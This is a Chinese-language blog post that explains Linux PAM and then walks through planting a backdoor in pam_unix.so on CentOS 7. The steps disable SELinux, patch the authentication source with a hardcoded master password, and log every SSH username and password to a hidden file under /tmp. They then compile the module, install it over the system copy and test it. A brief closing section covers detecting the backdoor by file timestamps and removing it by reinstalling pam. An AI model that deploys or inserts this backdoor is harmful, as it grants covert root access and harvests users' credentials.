linux pam后门
一、pam介绍
在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!
PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。
从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证
二、植入 PAM 后门(修改PAM源码中认证的逻辑来达到权限维持)
第一步:
在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0。
setenforce 0

第二步:查看 pam 版本号
发现是 1.1.8 版本
rpm -qa|grep pam
#只适用于centos系,unbtun和kali不行
第三步:下载对应版本的 pam 源码包
pam下载地址:blfs-conglomeration-Linux-PAM安装包下载-开源镜像站-阿里云选择 pam1.1.8

解压 PAM tar包
tar -xjf Linux-PAM-1.1.8.tar.bz2
#bz2包用的是bzip2算法,要用-xjf来解压
第四步:安装gcc编译器和flex库
yum install gcc flex flex-devel -y
第五步:留 PAM 后门和保存 ssh登录的账户密码
修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 源码实现自定义密码认证和保存登录密码
if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;}
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
这是原来的:

这是修改后的:
第六步:编译
./configure

make
第七步:备份原有的 pam_unix.so
防止出现错误 ssh 登录不上了
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
第八步:复制新 PAM 模块到 /lib64/security/ 目录下:
cp /Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
第九步:登录测试
本地登录测试
ssh root@127.0.0.1
远程登录测试
查看 ssh 登录账号密码保存位置,root 账户的密码被成功保存
cat .sshlog

自己的:

PAM 后门——应急响应发现
第一步:查看可以连接
netstat -anpt
第二步:检查pam_unix.so的修改时间
因为 pam 后门是替换文件,所以查看文件的修改时间,如果为最近的时间就是被替换了。(没有可以连接的时候也可以查看)
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位
如图所示,时间就是最近的时间,有问题。
第三步:清除 pam 后门
yum reinstall pam
再次 xhell 连接,提示登录不成功,后门被清除

本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20651077

浙公网安备 33010602011771号